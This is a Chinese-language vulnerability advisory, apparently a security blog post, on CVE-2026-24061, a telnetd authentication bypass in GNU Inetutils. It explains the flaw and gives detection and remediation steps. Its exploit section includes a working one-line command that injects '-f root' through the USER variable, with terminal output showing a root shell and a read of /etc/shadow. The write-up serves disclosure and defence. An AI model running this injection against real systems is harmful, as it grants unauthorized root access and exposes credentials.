🚨 CVE-2026-24061 — “TelneTD”

GNU Inetutils telnetd 中的严重远程身份验证绕过漏洞
2015 年的幽灵刚刚回来，占有了所有还在运行 telnet 的东西。

零身份验证。一个环境变量。即时 root shell。

⚠️ 概述

CVE-2026-24061 是 GNU Inetutils telnetd ≤ 2.7 中的一个 严重远程权限提升 漏洞。

未经身份验证的远程攻击者通过 Telnet NEW-ENVIRON 选项将 USER 环境变量设置为 "-f root"。
telnetd 未经任何清理 直接将其传递给 /bin/login → login 看到 -f root → 跳过所有身份验证 → 将攻击者送入 root shell。

危险代码在代码树中安静地躺了 近 11 年（自约 2015 年起）。

“一个环境变量。无需密码。完全 root。欢迎来到 2026 年。”

🔥 严重性及影响

• CVSS v3.1 基础得分：9.8 / 严重
  AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
• 攻击向量：网络（TCP/23）
• 所需权限：无
• 用户交互：无
• 漏洞利用成熟度：微不足道（一行命令即可从任何 telnet 客户端执行）

2026 年 3 月的现实情况：

• 自 1 月下旬以来已观察到大规模扫描和利用
• 遗留嵌入式设备、OT 设备、被遗忘的测试服务器仍然敞开着大门
• 完全系统沦陷：凭据窃取、持久化、勒索软件入口

🕵️ 发现过程

• 2026 年 1 月中旬私下报告给 GNU 维护者
• 2026 年 1 月下旬通过 oss-security 公开披露
• 在 GNU Inetutils ≥ 2.8 中修复（披露后不久发布）

🔬 技术深度剖析

当 telnetd 收到包含以下内容的 NEW-ENVIRON 选项时：

USER=-f root

它会将该值 直接 追加到传递给 /bin/login 的 argv 中：

execve("/bin/login", ["login", "-f", "root", ...], ...)

login 二进制程序将 -f root 解释为：
“该用户已经过 root 身份验证 — 无需密码检查。”

→ 攻击者获得 # 提示符。游戏结束。

关键致命设计选择：-R / 环境变量转发从未限制给授权用户。

📅 时间线

🖥️ 受影响系统

受影响版本：GNU Inetutils telnetd 1.9.3 – 2.7
2026 年常见目标：

• 遗留工业控制器和人机界面
• 旧路由器、交换机、打印机
• 基于 Debian 的嵌入式设备
• 被遗忘的开发/测试虚拟机和容器
• 仍暴露 TCP/23 的 OT 网关

安全系统：

• 运行 busybox telnetd 的系统
• Inetutils ≥ 2.8
• 完全禁用/防火墙 telnet

💥 漏洞利用演示

一行命令（任何带 telnet 客户端的 Linux/macOS）：

USER="-f root" telnet -a 192.168.1.50

典型输出：

┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Debian GNU/Linux 12 telnetd

root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...

按下一次回车键后 — 完全 root 权限。

🛡️ 检查与修复（2026 年 3 月）

1. 检测易受攻击的服务

telnet localhost 23   # 查看 inetutils 横幅
inetutils-telnetd --version   # 若 ≤ 2.7 则有漏洞

2. 终止它（推荐永久终止）

systemctl disable --now inetutils-inetd   # 或 telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd

3. 更新（仅当必须保留 telnet 时 — 极少见）

sudo apt update && sudo apt install --reinstall inetutils-telnetd   # → ≥2.8

4. 防火墙（双重保险）

iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp

📈 现状 — 2026 年 3 月

• 针对未打补丁的遗留设备的利用仍在继续
• Telnet 使用率处于历史最低 — 但存在时仍然致命
• 生态系统教训：遗留协议是地雷

🎓 刻在石头上的教训

• 11 年之久的漏洞仍然隐藏在“死”代码中
• 永远不要将未经清理的用户输入传递给生成 root 的二进制程序
• 参数注入 → root 是永恒的问题
• Telnet 应该在 2010 年死掉。2026 年就让它死透。